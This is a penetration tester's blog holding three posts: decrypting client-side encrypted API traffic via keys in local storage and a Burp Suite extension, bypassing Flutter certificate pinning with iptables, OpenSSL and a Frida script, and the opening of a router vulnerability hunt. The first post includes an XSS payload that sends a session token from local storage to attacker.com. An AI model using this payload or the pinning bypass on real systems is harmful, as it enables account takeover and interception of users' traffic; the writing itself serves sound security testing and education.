dsm's blog - research

Defeating Client-Side Web Encryption with Burp Suite Extension

2025-12-26T00:00:00+00:00

In a recent pentest, I came across a not-so-common situation that gives a false sense of security, what we usually call "security through obscurity". While interacting with the web application, I noticed that all data sent and received wasn't in clear text or anything like that, but rather a JSON entity with all its content encrypted.</p>

</p>

As seen in the image above, the response content that the API returns consists of the following format:</p>

{</span>"data"</span>:</span>"SGVsbG8hIE9sw6EhIEhvbGEh"</span>}</span></span></code></pre>
In order to actually perform this pentest, that is, to see what's being passed in the requests and later manipulate them or interact with them, we need to understand how the application is sending this information to the client and also to the server. This web application in question is built in React.js, so we just need to analyze the JavaScript files.</p>
Analyzing the source code, I searched for references like privateKey</code>, encrypt</code>, decrypt</code> and other keywords and found some points in the code that were essential for me to understand where the cryptographic keys were stored and how they were later used. Inside the JavaScript file, the word StorageItems</code> caught my attention and made me look at the browser's Storage tab.</p>

</p>
We can see in the image above that there are several properties in our browser's local storage, these are:</p>

iv_[ID]</code></li>
privateKey_[ID]</code></li>
publicKey_[ID]</code></li>
symmetricKey_[ID]</code></li>
</ul>
The value of all these properties are encrypted information encoded in Base64, I believe to ensure compatibility in sending and receiving information, preventing any invalid character from being sent or lost in this process. Now that we know the private key, symmetric key, IV and public key are easily accessible, we need to analyze the source code even more to see how they're being used.</p>
In the following image, we can collect the names of several functions that are later used by the application to obtain raw data, such as getEncryptedIvKey</code>, getEncryptedSymmetricKey</code>, getPrivateKeyRSA</code>, getPrivateKeyBase64</code> and some others. We also found some references to the algorithm used, which is PKCS1 and later converted to Base64.</p>

</p>
Based on continuous source code analysis, we discovered relevant points such as:</p>

RSA-2048 is used for key wrapping</em>;</li>
For data encryption, AES-256-CBC is used;</li>
The IV is kept in hex format, which is unnecessary.</li>
</ul>
With this in mind, it becomes easy to understand the data encryption flow and how they're passed along. First, the application collects the encrypted information along with the keys that are used for it, then it decrypts the symmetric key and IV using the RSA private key, after that, it decrypts the information using AES-CBC along with the symmetric key and IV previously obtained, then we remove the padding and parse the JSON, which will return the JSON in clear text for us.</p>
</p>
To check if we're on the right path, I developed a simple Python script that will use the Crypto library and will receive each of these properties statically, replicate the process executed by the application and in the end return the JSON to us. Below I'll be attaching the Python script code with comments about each section of it.</p>
</p>
We'll replace all the PLACEHOLDERS</code> in the code with the content that's stored locally in the browser and run the script. Since in this case everything was correct (fortunately), we have the JSON with data in clear text, which proves that the process of decrypting the information is possible on the client side without the need for direct intervention from the web application. This is where security through obscurity happens, it's believed that data is being transmitted much more securely because it's encrypted, but actually since the client needs the private keys to also be able to send them encrypted to the server and later read them, there's no other choice but for the developer to make the client have access to them.</p>
</p>
Essentially, being able to decrypt information in clear text isn't a vulnerability, it's just an insufficient layer of protection that the developer imposed on the application. This is minimally useful because it will make life harder for the attacker who will have to do this same process (or something similar) to be able to exploit other vulnerabilities in the application. However, without being able to reverse this process, I can say that the chance of me finding any vulnerability in the application later is extremely low, because I won't understand what's happening, that is, blind pentesting.</p>
In other scenarios from some articles that can be found on the internet, including one in the references section, the researcher demonstrates how he bypassed this encryption and later found some high-impact vulnerabilities in the application, this shows that, is the additional layer of protection important? Yes! Does it prevent vulnerabilities? Obviously not. That's why security is several layers and not just one that will temporarily cover an attacker's eyes.</p>
Another relevant point is the storage of sensitive information in Local Storage. Many developers believe that just by storing sensitive information in other places, or for example, introducing protections in session cookies so that XSS attacks can't steal them is good enough, but what about Local Storage? It's not protected and its use isn't recommended for this, mainly because if we go back a few steps, in addition to the mentioned properties, there's one that stores precisely the user's session JWT. So with an XSS, it would still be possible to escalate to an Account Takeover. For example, the following XSS payload reads the "token" property from Local Storage and sends it to an external server, which was used in a real pentest to escalate an XSS to Account Takeover.</p>
<</span>iframe</span> src</span>=</span>"javascript:(function(){window.location.href='https://attacker.com//'+localStorage.getItem('token')})()"</span>></span></span></code></pre>Burp Suite Extension</h2>
The problem is that this whole process from the Python code would make the process kind of slow and not so automatic, so as a challenge, I set myself to develop a local extension for Burp Suite so I could automate this process. Extensions for Burp Suite can be made in several languages like Python (Jython), Ruby (JRuby) and Java which is Burp Suite's native language. Initially I thought about using Jython for this, the problem? It's limited to Python 2.7 and I don't have practice with Ruby, therefore, I opted to do it in Java, which previously cost me 5 hours and a lot of headache, but in the end it worked.</p>
Looking for information on how to develop this extension, PortSwigger itself offers a template to create your extension, which helped me a lot to have the project base. Another extremely fundamental piece (and possibly without it, I would have taken many more hours) was the article by researcher Hosam Gemei</a> who developed a simple extension for the same situation as mine!</p>
</p>
Burp Suite extensions use the Montoya API to interact with various Burp Suite actions. When the extension is loaded, Burp Suite invokes the BurpExtension.initialize(MontoyaApi)</code> method and later creates an instance of the Montoya API interface, from this, our extension can interact with various Burp Suite functionalities.</p>
</p>
So, with full help from Hosam Gemei's project source code, since the situations were practically identical, I started the extension development process, which seemed like a simple process at first, but due to some needs, ended up taking a few more hours. My initial idea was to do like the Python script and define the keys and content statically in the source code, as in the example below:</p>
package helpers</span>;</span></span>
</span>
public class</span> </span>Constants</span> {</span></span>
    public static final</span> String</span> EXTENSION_NAME</span> =</span> "Decrypt"</span>;</span></span>
    public static final</span> String</span> CAPTION</span> =</span> "Decrypt Extension"</span>;</span></span>
    public static final</span> String</span> LOADED_MSG</span> =</span> "[+] Decrypt Extension loaded successfully!"</span>;</span></span>
    public static final</span> String</span> UNLOAD_MSG</span> =</span> "[+] Decrypt Extension unloaded successfully!"</span>;</span></span>
</span>
    public static final</span> String</span> PUBLIC_KEY_B64</span> =</span> ""</span>;</span></span>
    public static final</span> String</span> ENC_PARAMETER_REQ</span> =</span> "data"</span>;</span></span>
    public static final</span> String</span> KEY_ALGORITHM</span> =</span> "AES"</span>;</span></span>
    public static final</span> String</span> ENCRYPTED_SYMMETRIC_KEY_B64</span> =</span> ""</span>;</span></span>
    public static final</span> String</span> ENCRYPTED_IV_B64</span> =</span> ""</span>;</span></span>
    public static final</span> String</span> PRIVATE_KEY_B64</span> =</span> ""</span>;</span></span>
}</span></span></code></pre>
However, what gain would I have if I had to keep manually editing in case the keys changed and have to compile the extension JAR again? None! So the only difference between my extension and Hosam Gemei's is that I added an extra window where I define the keys statically from Burp Suite's own graphical interface, which was a very positive gain. To develop this window was quite simple, we just use JPanel which is basically a container from the Swing library that allows adding components like buttons, input fields, developing layouts, sections and others. The structure is quite simple:</p>
SettingsTab.java</strong></p>
package ui</span>;</span></span>
</span>
import burp.api.montoya.MontoyaApi</span>;</span></span>
import helpers.ConfigManager</span>;</span></span>
</span>
import javax.swing.</span>*</span>;</span></span>
import java.awt.</span>*</span>;</span></span>
</span>
public class</span> </span>SettingsTab</span> {</span></span>
</span>
    private final</span> MontoyaApi</span> montoya;</span></span>
    private final</span> ConfigManager</span> config;</span></span>
    private</span> JPanel</span> panel;</span></span>
</span>
    public</span> SettingsTab</span>(</span>MontoyaApi</span> api</span>) {</span></span>
        this</span>.montoya</span> =</span> api;</span></span>
        this</span>.config</span> =</span> ConfigManager.</span>getInstance</span>();</span></span>
        createUI</span>();</span></span>
    }</span></span>
</span>
    private</span> void</span> createUI</span>() {</span></span>
        panel </span>= new</span> JPanel</span>(</span>new</span> GridBagLayout</span>());</span></span>
        GridBagConstraints</span> gbc</span> = new</span> GridBagConstraints</span>();</span></span>
        gbc.fill</span> =</span> GridBagConstraints.HORIZONTAL;</span></span>
        gbc.insets</span> = new</span> Insets</span>(</span>5</span>,</span> 5</span>,</span> 5</span>,</span> 5</span>);</span></span>
</span>
        int</span> row</span> =</span> 0</span>;</span></span>
</span>
        addLabel</span>(</span>"Private Key (Base64):"</span>, gbc, row);</span></span>
        JTextArea</span> privateKeyField</span> =</span> addTextArea</span>(config.</span>getPrivateKeyB64</span>(), gbc, row</span>++</span>);</span></span>
</span>
        addLabel</span>(</span>"Public Key (Base64):"</span>, gbc, row);</span></span>
        JTextArea</span> publicKeyField</span> =</span> addTextArea</span>(config.</span>getPublicKeyB64</span>(), gbc, row</span>++</span>);</span></span>
</span>
        addLabel</span>(</span>"Encrypted Symmetric Key (Base64):"</span>, gbc, row);</span></span>
        JTextArea</span> encSymKeyField</span> =</span> addTextArea</span>(config.</span>getEncryptedSymmetricKeyB64</span>(), gbc, row</span>++</span>);</span></span>
</span>
        addLabel</span>(</span>"Encrypted IV (Base64):"</span>, gbc, row);</span></span>
        JTextArea</span> encIvField</span> =</span> addTextArea</span>(config.</span>getEncryptedIvB64</span>(), gbc, row</span>++</span>);</span></span>
</span>
        addLabel</span>(</span>"Request Enc Parameter:"</span>, gbc, row);</span></span>
        JTextField</span> reqParamField</span> = new</span> JTextField</span>(config.</span>getEncParamReq</span>(),</span> 20</span>);</span></span>
        gbc.gridx</span> =</span> 1</span>; gbc.gridy</span> =</span> row</span>++</span>;</span></span>
        panel.</span>add</span>(reqParamField, gbc);</span></span>
</span>
        addLabel</span>(</span>"Response Enc Parameter:"</span>, gbc, row);</span></span>
        JTextField</span> respParamField</span> = new</span> JTextField</span>(config.</span>getEncParamResp</span>(),</span> 20</span>);</span></span>
        gbc.gridx</span> =</span> 1</span>; gbc.gridy</span> =</span> row</span>++</span>;</span></span>
        panel.</span>add</span>(respParamField, gbc);</span></span>
</span>
        JButton</span> saveButton</span> = new</span> JButton</span>(</span>"Save Configuration"</span>);</span></span>
        saveButton.</span>addActionListener</span>(e </span>-></span> {</span></span>
            config.</span>setPrivateKeyB64</span>(privateKeyField.</span>getText</span>().</span>trim</span>());</span></span>
            config.</span>setPublicKeyB64</span>(publicKeyField.</span>getText</span>().</span>trim</span>());</span></span>
            config.</span>setEncryptedSymmetricKeyB64</span>(encSymKeyField.</span>getText</span>().</span>trim</span>());</span></span>
            config.</span>setEncryptedIvB64</span>(encIvField.</span>getText</span>().</span>trim</span>());</span></span>
            config.</span>setEncParamReq</span>(reqParamField.</span>getText</span>().</span>trim</span>());</span></span>
            config.</span>setEncParamResp</span>(respParamField.</span>getText</span>().</span>trim</span>());</span></span>
</span>
            montoya.</span>logging</span>().</span>logToOutput</span>(</span>"[+] Configuration saved successfully"</span>);</span></span>
            JOptionPane.</span>showMessageDialog</span>(panel,</span> "Configuration saved!"</span>);</span></span>
        });</span></span>
</span>
        gbc.gridx</span> =</span> 1</span>; gbc.gridy</span> =</span> row;</span></span>
        panel.</span>add</span>(saveButton, gbc);</span></span>
    }</span></span>
</span>
    private</span> void</span> addLabel</span>(</span>String</span> text</span>,</span> GridBagConstraints</span> gbc</span>,</span> int</span> row</span>) {</span></span>
        gbc.gridx</span> =</span> 0</span>; gbc.gridy</span> =</span> row;</span></span>
        panel.</span>add</span>(</span>new</span> JLabel</span>(text), gbc);</span></span>
    }</span></span>
</span>
    private</span> JTextArea</span> addTextArea</span>(</span>String</span> defaultValue</span>,</span> GridBagConstraints</span> gbc</span>,</span> int</span> row</span>) {</span></span>
        JTextArea</span> textArea</span> = new</span> JTextArea</span>(defaultValue,</span> 3</span>,</span> 40</span>);</span></span>
        textArea.</span>setLineWrap</span>(</span>true</span>);</span></span>
        JScrollPane</span> scrollPane</span> = new</span> JScrollPane</span>(textArea);</span></span>
        gbc.gridx</span> =</span> 1</span>; gbc.gridy</span> =</span> row;</span></span>
        panel.</span>add</span>(scrollPane, gbc);</span></span>
        return</span> textArea;</span></span>
    }</span></span>
</span>
    public</span> Component</span> getComponent</span>() {</span></span>
        return</span> panel;</span></span>
    }</span></span>
}</span></span></code></pre>
ConfigManager.java</strong></p>
package helpers</span>;</span></span>
</span>
public class</span> </span>ConfigManager</span> {</span></span>
    private static</span> ConfigManager</span> instance;</span></span>
</span>
    private</span> String</span> privateKeyB64</span> =</span> ""</span>;</span></span>
    private</span> String</span> publicKeyB64</span> =</span> ""</span>;</span></span>
    private</span> String</span> encryptedSymmetricKeyB64</span> =</span> ""</span>;</span></span>
    private</span> String</span> encryptedIvB64</span> =</span> ""</span>;</span></span>
    private</span> String</span> encParamReq</span> =</span> "data"</span>;</span></span>
    private</span> String</span> encParamResp</span> =</span> "data"</span>;</span></span>
</span>
    private</span> ConfigManager</span>() {}</span></span>
</span>
    public static</span> ConfigManager</span> getInstance</span>() {</span></span>
        if</span> (instance </span>==</span> null</span>) {</span></span>
            instance </span>= new</span> ConfigManager</span>();</span></span>
        }</span></span>
        return</span> instance;</span></span>
    }</span></span>
</span>
    public</span> String</span> getPrivateKeyB64</span>() {</span> return</span> privateKeyB64; }</span></span>
    public</span> String</span> getPublicKeyB64</span>() {</span> return</span> publicKeyB64; }</span></span>
    public</span> String</span> getEncryptedSymmetricKeyB64</span>() {</span> return</span> encryptedSymmetricKeyB64; }</span></span>
    public</span> String</span> getEncryptedIvB64</span>() {</span> return</span> encryptedIvB64; }</span></span>
    public</span> String</span> getEncParamReq</span>() {</span> return</span> encParamReq; }</span></span>
    public</span> String</span> getEncParamResp</span>() {</span> return</span> encParamResp; }</span></span>
</span>
    public</span> void</span> setPrivateKeyB64</span>(</span>String</span> key</span>) {</span> this</span>.privateKeyB64</span> =</span> key; }</span></span>
    public</span> void</span> setPublicKeyB64</span>(</span>String</span> key</span>) {</span> this</span>.publicKeyB64</span> =</span> key; }</span></span>
    public</span> void</span> setEncryptedSymmetricKeyB64</span>(</span>String</span> key</span>) {</span> this</span>.encryptedSymmetricKeyB64</span> =</span> key; }</span></span>
    public</span> void</span> setEncryptedIvB64</span>(</span>String</span> iv</span>) {</span> this</span>.encryptedIvB64</span> =</span> iv; }</span></span>
    public</span> void</span> setEncParamReq</span>(</span>String</span> param</span>) {</span> this</span>.encParamReq</span> =</span> param; }</span></span>
    public</span> void</span> setEncParamResp</span>(</span>String</span> param</span>) {</span> this</span>.encParamResp</span> =</span> param; }</span></span>
</span>
    public</span> boolean</span> isConfigured</span>() {</span></span>
        return !</span>privateKeyB64.</span>isEmpty</span>()</span> && !</span>encryptedSymmetricKeyB64.</span>isEmpty</span>()</span> && !</span>encryptedIvB64.</span>isEmpty</span>();</span></span>
    }</span></span>
}</span></span></code></pre>
</p>
I won't release the source code of this extension of mine because it's basically a copy-paste of Hosam Gemei's original extension, but with some small changes based on the needs I had during the process. The main point of all this was the learning process, but also the regret process of having to deal with Java xD.</p>
After 5 hours in this process, and close to giving up with help from Claude Code, I managed to make this functional. As can be seen in the image below, it's a simple window with 6 data inputs, which are basically the necessary data for decryption to be done and also what are the payloads to detect the input and server response, in this case, data</code>.</p>
</p>
Now when actually testing, I went back to that same route that returned a giant encrypted JSON and you can see that now we have a tab in the response called "Decrypt" and when I accessed it, fortunately there was my decrypted JSON with all information in clear text. Definitely a victory!</p>
</p>
This type of protection may seem sufficient, but it's actually rework, since in MiTM scenarios TLS would already do its job of transporting encrypted data, so adding an extra layer of this is redundant, even more so because the implementation is natively insecure due to the needs between client and server.</p>
Conclusion</h2>
From this process, it's important to keep in mind that masking the data that the victim's own browser sends and receives transmits a false sense of security, which can be seen as an interesting measure depending on the purpose of that application, but this doesn't protect it from all attacks or make it inaccessible by attackers, it just takes time and understanding about the system.</p>
In my honest opinion, this is a pure business decision and not very strategic, because it will end up taking more time to implement and later can generate maintenance problems. So what's more important to be done here? Implement robust access controls like the principle of least privilege (RBAC and such), don't store sensitive information in source code or Local Storage, don't trust user input data and all those other issues that can be seen as more important.</p>
At the end of it all, it was a very rewarding process to be able to develop this whole project and have an extremely positive result, and that later helped me find some other vulnerabilities in the application. Fortunately, I was lucky enough to find an article that solves the same pain as mine and some others that gave me ideas of what to do at certain moments.</p>
References</h2>

medium.com — A Guide to Build Burp Suite Extensions using Montoya API (Java)</a></li>
medium.com — Bypassing E2E Encryption Leads to Multiple High Vulnerabilities</a></li>
github.com/Gemei/Burp-Plugin-Demo</a></li>
portswigger.net — MontoyaApi Javadoc</a></li>
royalholloway.ac.uk — Client-Side Encryption Research</a></li>
</ul>



Bypassing Flutter Certificate Pinning
2025-02-20T00:00:00+00:00
Continuing with my mobile pentest studies and, of course, doing mobile pentests at work, it's pretty common to run into different mobile apps built with various programming languages. For example, you'll find apps developed in Java, Kotlin, Flutter, Xamarin, Swift… and a bunch of others.</p>
You'll probably find only a few class files that won't be nearly as helpful as you'd hope. For example, here's the app I'm currently working with:</p>
</p>
As you can see, we only have a MainActivity</code> file, a class file with a random name, and the BuildConfig</code> file (don't forget to check the BuildConfig file—you might find something useful there). When I see this, two scenarios come to mind:</p>

The rest of the app is obfuscated.</li>
The app is built with Flutter.</li>
</ol>
I went with the second option. Why? Because it's pretty easy to identify a Flutter app just by looking at the extracted content from the APK file (I used apktool for this) and checking the lib directory.</p>
</p>
For now, we're most interested in these two files: libflutter.so</code> and libapp.so</code>. For those who don't know, Flutter is a software development kit created by Google, commonly used to develop applications for Android, iOS, Linux, macOS, and other platforms. However, it's primarily popular for mobile apps.</p>
The libflutter.so</code> file contains the Flutter engine, mainly developed in C++. One of its key components is Skia (a 2D graphics library), which renders the UI and displays it in the FlutterView</code>, also known as the Raster Thread</em>. There's also the Platform Thread</em>, which interacts with the native APIs of Android and iOS. Finally, we have the UI Thread</em>, responsible for executing Dart code and managing widgets.</p>
On the other hand, libapp.so</code> is unique to each Flutter application. It contains the compiled Dart project—essentially, the mobile app's source code. This code is compiled into native machine code using AOT (Ahead-of-Time) compilation, meaning the code is translated into machine instructions before the app actually runs, typically during the production build.</p>
As stated in the Dart documentation, AOT-compiled code guarantees better performance during application execution, such as a fast startup and consistent runtime performance, unlike JIT-compiled code, which is slower at startup but can reach better performance after some time when necessary runtime optimizations occur. Naturally, during a fast development cycle, the Dart VM offers developers JIT compilation features like hot reload, live metrics collection, and debugging support, which help a lot in thoroughly testing the application.</p>

  
</figure>
When apps are finally ready to be deployed to web applications or app stores, you can compile your application with the Dart AOT compiler to native ARM or x64 machine code, which, as discussed earlier, will offer better startup performance for your entire application. The AOT-compiled code will run inside the Dart runtime environment with a memory management system that employs fast garbage collection and a generational garbage collector.</p>
In the final process, the libflutter.so</code> file launches the Flutter engine and sets up the environment, while the libapp.so</code> file is loaded by the Flutter engine. This allows the Dart code to run within the Flutter engine, powered by libflutter.so</code>.</p>

  
  Flutter Architectural Overview — Flutter</figcaption>
</figure>
Less talk, show me the code!</h2>
To provide more context, if we open a generic Java application in decompilation tools like JADX</a> and the app does not use any obfuscation solution, the reverse-engineering process becomes extremely easy since the code is human-readable. For example, I downloaded a specific application from the Play Store and decompiled the APK file using JADX. By following the package name in the Source Code tab and accessing the Java files, you can see that everything is much easier to understand.</p>
</p>
Getting Flutter's apps source code isn't exactly trivial. You could open the libapp.so</code> file in Ghidra, IDA, BinaryNinja, or whatever tool you prefer, and try your best to figure out what's going on. But honestly, I prefer a different approach. It's not a secret method, just a more efficient one (at least in my opinion).</p>
Thankfully, Worawit</a>, along with six other contributors, created the Blutter</a> project. Blutter is a Flutter reverse-engineering tool that supports arm64 and allows lazy people like us to extract more readable code and structure from a Flutter app. It's super simple to use, though you'll need some libraries and dependencies set up. In my case (MacOS), I had to install cmake</code>, ninja</code>, pkg-config</code>, icu4c</code>, llvm</code>, and a few others. BUT! For actually running Blutter, all you need is a Python script.</p>
As the Blutter README explains, you just need to run the Python script, specify the path to the arm64-v8a</code> directory, and set an output directory:</p>
python3</span> blutter.py 'path/to/app/lib/arm64-v8a' 'out_dir'</span></span></code></pre>
After that, Blutter compiles the necessary libraries and extracts some resources to execute the reverse-engineering process. Hopefully, after a few minutes, your output will look similar to mine. If any errors occur during this process or your PC crashes, make sure to read the stack trace carefully and check the Blutter GitHub repository's Issues tab for similar problems. For added context, I'm running this on a MacBook, I haven't tried Blutter on any other OS yet.</p>
</p>
If we navigate to our previously created output directory (in this case, I named it decompiled_code</strong>) and access the files, we now see a bunch of directories. It contains all the libraries used by the app and the app itself. If you look further, you can find your targeted directory based on the application package name.</p>
</p>
The blurred directories are our target. From here, you can either dig through the countless files Blutter extracted or, like me, open the directory in VSCode for a more user-friendly overview. You're probably going to see a structure similar to the image below. Now it's 10 times easier to understand the application architecture and focus on the most important parts of the code.</p>
</p>
Now we have a much better environment for reverse engineering the mobile application and searching for vulnerabilities. I highly recommend using gitleaks</a> or any secret-finding tool (TruffleHog, Semgrep) to identify low-hanging fruits. I did this and found some interesting results, but that's not the focus of this article, so we will skip that part.</p>
SSL Pinning for you, not for me!</h2>
SSL Pinning</strong> (or Certificate Pinning</strong>) is a technique that helps developers secure their mobile apps from Man-in-the-Middle (MITM) attacks. It ensures that the app only trusts specific certificates instead of the entire certificate chain. Instead of trusting any valid certificate chain, the application stores a copy of the server's certificate or public key and verifies if the connection uses that exact certificate.</p>
In the context of SSL Pinning, there are different pinning approaches. For example, we have Public Key Pinning</strong>, which is a mechanism for sites to specify which certificate authorities have issued valid certificates for that specific site, and to reject TLS connections to those sites if the used certificate is not issued by a known-good CA. The idea is also to prevent man-in-the-middle attacks by hard-coding the public key of the server's SSL certificate instead of the entire certificate. In this way, the client will check if the server certificate contains the same public key that is hard-coded in the application code. The main advantage of Public Key Pinning is that even if the server certificate changes, the client will still trust the server if the public key remains the same, although it is harder to implement.</p>
Another method is SPKI Pinning</strong>. The Subject Public Key Info (SPKI) is basically the key with a bit more salt, it can include the algorithm used for encoding or other parameters. SPKI is obtained from the Certificate Signing Request (CSR)</strong>, which collects the necessary information from a pair of public and private keys. The use of SPKI Pinning is not very convenient because you will need to release a mandatory update of your app when the certificate gets renewed, which will probably make things harder to maintain. It is possible to "bypass" this problem if you keep the same Certificate Signing Request (CSR) on every renewal process, but that violates the key rotation principle, which is the process of replacing old encryption keys with new ones to reduce the risk of compromised keys.</p>
</p>
While analyzing the source code extracted by Blutter, I found something interesting that caught my attention. In the project files, there was a file called dio_http_service_imp.dart</code>. Dio</a> is a popular HTTP networking package for Dart/Flutter, supporting TLS connections. From the official Dio documentation, this is the basic implementation:</p>
void</span> initAdapter</span>() {</span></span>
  const</span> String</span> fingerprint </span>=</span> 'ee5ce1dfa7a53657c545c62b65802e4272878dabd65c0aadcf85783ebb0b4d5c'</span>;</span></span>
  dio.httpClientAdapter </span>=</span> IOHttpClientAdapter</span>(</span></span>
    createHttpClient</span>:</span> () {</span></span>
      final</span> HttpClient</span> client </span>=</span> HttpClient</span>(context</span>:</span> SecurityContext</span>(withTrustedRoots</span>:</span> false</span>));</span></span>
      client.badCertificateCallback </span>=</span> (cert, host, port) </span>=></span> true</span>;</span></span>
      return</span> client;</span></span>
    },</span></span>
    validateCertificate</span>:</span> (cert, host, port) {</span></span>
      if</span> (cert </span>==</span> null</span>) </span>return</span> false</span>;</span></span>
      return</span> fingerprint </span>==</span> sha256.</span>convert</span>(cert.der).</span>toString</span>();</span></span>
    },</span></span>
  );</span></span>
}</span></span></code></pre>
As we can see above, we start by defining a variable called fingerprint</strong> that will contain the SHA256 hash of the public certificate key. After that, we create the HttpClient, ensuring that the SecurityContext is set with withTrustedRoots</strong> set to false so that we don't trust any certificate just because its root cert is trusted. Furthermore, we check if the certificate fingerprint matches the SHA256 hash and ensure that at least one certificate is being supplied.</p>
It works perfectly for servers that have a self-signed certificate, however, it will not work for external certificates issued by AWS, Let's Encrypt, or other third parties. Therefore, we can verify the root of the HTTPS certificate that is provided by the server. The code below is an example of using a static PEM certificate and SecurityContext. It also supports PKCS#12 certificates, but PKCS#12 certificates require a password to be used, which exposes the password in the code; hence, the project does not recommend using them in common cases.</p>
void</span> initAdapter</span>() {</span></span>
  String PEM</span> =</span> 'XXXXX'</span>;</span> // Root certificate content</span></span>
  dio.httpClientAdapter </span>=</span> IOHttpClientAdapter</span>(</span></span>
    onHttpClientCreate</span>:</span> (_) {</span></span>
      final</span> SecurityContext</span> sc </span>=</span> SecurityContext</span>();</span></span>
      sc.</span>setTrustedCertificates</span>(</span>File</span>(pathToTheCertificate));</span></span>
      final</span> HttpClient</span> client </span>=</span> HttpClient</span>(context</span>:</span> sc);</span></span>
      return</span> client;</span></span>
    },</span></span>
  );</span></span>
}</span></span></code></pre>
The most interesting part is this line sc.setTrustedCertificates(File(pathToTheCertificate));</code> This indicates that the app expects a static certificate file. After reading this article by Mohamed Malkia</a>, I immediately searched the source code for .pem</strong> and .key</strong> extensions. And guess what? I found actual references to these files:</p>
</p>
Going back to VSCode and using the search function, I typed .pem</code> in the "Search" field and immediately got two references in the code, again in the dio_http_service_imp.dart</code> file. Accessing these files we can get more details about the usage of the Dio package.</p>


</p>
The app reads the certificate bytes and implements them using Dart's SecurityContext methods useCertificateChainBytes</strong> and usePrivateKeyBytes</strong>. According to the documentation:</p>

useCertificateChainBytes</strong>: Sets the chain of X.509 certificates served by the SecureServerSocket during secure connections, including the server certificate.</li>
usePrivateKeyBytes</strong>: Sets the private key for the corresponding certificate.</li>
</ul>
</p>
Interestingly, the application doesn't use standard ports like 443, 80, or 8080. Instead, the API is hosted on port 444</strong>. This is crucial for properly configuring our proxy because if we try intercepting ports 443, 80, or 8080, we would probably only capture requests from third-party sources rather than those from the targeted application. Therefore, make sure to identify where the application is actually consuming data so that no important requests are missed.</p>
</p>
It is important to note that every Certificate Pinning mechanism can be bypassed if the attacker has the necessary time and patience. The main idea of these mechanisms is to offer more security to users, reducing risk and making attackers' lives harder, but it will always be a cat-and-mouse game until vendors like Google and Apple develop technology to mitigate this problem (and I'm not even sure if that's possible).</p>
Intercept, intercept and intercept</h2>
After all this analysis, we're ready to intercept the traffic. Here's what we need to do:</p>

Create IPTables rules to redirect the traffic.</li>
Configure the proxy on our Android device (I'm using an emulated Pixel 9 Pro).</li>
Set up Burp Suite.</li>
Use the NVISO disable-flutter-tls script.</li>
</ol>
Starting with IPTables, IPTables is a utility program from Linux that helps users configure network rules. In our case, it's a really simple process—we just need to redirect the incoming traffic from port 444 to port 8080, where our Burp Suite proxy is running. The command I used for this is:</p>
emu64a:/ iptables -t nat -A OUTPUT -p tcp --dport 444 -j DNAT --to-destination <local-ip>:8080</span></span>
emu64a:/ iptables -t nat -A POSTROUTING -p tcp -d <local-ip> --dport 8080 -j MASQUERADE</span></span></code></pre>
After that, we need to go to our Wi-Fi settings on our Android device and change the proxy setting from "None" to "Manual," specifying the host and port we want. In this case, the host will be your local IP and the port will be the same as the Burp Suite proxy. This will allow our emulated device to communicate with our Burp Suite proxy client.</p>
</p>
Now, for Burp Suite, we need to take the PEM and KEY files that are statically stored in the assets directory from the decompiled mobile app and generate a PKCS#12 file to later import into Burp Suite TLS settings. Why PKCS#12? Because Burp Suite TLS currently only supports PEM certificates.</p>
openssl</span> pkcs12</span> -export -out</span> file.p12</span> -inkey</span> key_file.key</span> -in</span> pem_file.pem</span> -certifile</span> pem_file.pem</span></span></code></pre>
Here, the flags -export</code> and -out</code> specify that we want to write the certificate's content to an output file. The -inkey</code> flag specifies the private key from the certificate, combined with the -in</code> and -certifile</code> flags to indicate to OpenSSL which files are our certificates—we can repeat the PEM certificate file here.</p>
</p>
Now, go to your Burp Suite settings, navigate to the Network tab, and click on the "TLS" section. Scroll down to "Client TLS Certificates" and click the "Add" button to add a new certificate.</p>
In the "Destination host" input, enter the host address from the API or website whose traffic you want to intercept (you don't need to specify the port), and be sure to click the "File (PKCS#12)" radio button because you need to import your PKCS#12 file. After that, click the "Next" button.</p>
</p>
Next, click the "Select file" button and locate the .p12 file you generated using the OpenSSL command. During the process of generating the file with OpenSSL, you will be prompted to set a password; you must enter the same password in the "Password" field below the "Certificate file" field.</p>
</p>
If everything goes well, your file will be loaded and you can even see some information about the imported certificate.</p>
</p>
Now for the final steps with Burp Suite, go to the Proxy settings and make sure the "Bind to port" is the same from the IPTables and change the "Bind to address" from "Specific address" to "All interfaces" making sure we actually can intercept the traffic. After that, go to the "Request handling" tab and check the "Support invisible proxying" checkbox.</p>

</p>
To finish, download the NVISOsecurity Frida script to disable Flutter's TLS verification, you can find it here</a>. This script uses pattern matching to find ssl_verify_peer_cert</strong> in the handshake.cc</strong> file. The handshake.cc</strong> file is part of the BoringSSL project</a>, a fork of OpenSSL used by Chrome/Chromium and Android. To execute the script, ensure that the Frida server is running on your Android device (it can be done via ADB) and run the following command:</p>
frida</span> -U -f</span> your.package.name</span> -l</span> disable-flutter-tls.js</span> --no-pause</span></span></code></pre>
Don't forget that you need to have the Burp Suite certificate installed on your device. There are various methods to do this, so I won't cover that process here; however, you can find plenty of resources online that explain how to do it.</p>
</p>
Frida will run the app for us, so we go to Burp Suite and "HTTP History" tab we can see that now we can successfully intercept the app HTTP/HTTPS traffic.</p>
</p>
References</h2>

docs.flutter.dev</a></li>
dart.dev — Overview</a></li>
medium.com — How JIT and AOT work in Dart</a></li>
github.com/worawit/blutter</a></li>
wiki.mozilla.org — Public Key Pinning</a></li>
medium.com — SSL Pinning: How to Make It Right</a></li>
owasp.org — Certificate and Public Key Pinning</a></li>
medium.com — How to use TLS/SSL in Flutter with Dio</a></li>
api.flutter.dev — usePrivateKeyBytes</a></li>
api.flutter.dev — useCertificateChainBytes</a></li>
github.com/NVISOsecurity/disable-flutter-tls-verification</a></li>
</ul>


Discovering an Authenticated RCE Vulnerability in My Old Router
2025-01-10T00:00:00+00:00
Everything started when I watched a talk by Maycon Vitali at H2HC titled "Internet of Sh!t - Maycon Vitali - H2HC University 2018"</a>, where he discussed his process of discovering vulnerabilities in a Ubiquiti router. After watching the 30-minute talk, I stopped the video, looked around, and remembered an old router that I had in my house. I immediately searched for the power cable, plugged it in next to my desk, and checked if everything worked fine. After about 5 minutes, I scanned my network and found the router's IP address. I made some changes and set the IP to 192.168.15.1</code>.</p>
With everything set up, I ran nmap -p- -open -vvvvv --min-rate=5000 -T3 -Pn</code> to check the available ports and running services.</p>

-p-</code>: Scan all 65,535 TCP ports;</li>
-v/-vvvvv</code>: Enable verbose mode;</li>
--open</code>: Only show open (or possible open) ports;</li>
--min-rate</code>: Send packets no slower than X per second;</li>
-Pn</code>: No ping. Skips the host discovery stage altogether.</li>
</ul>
</p>
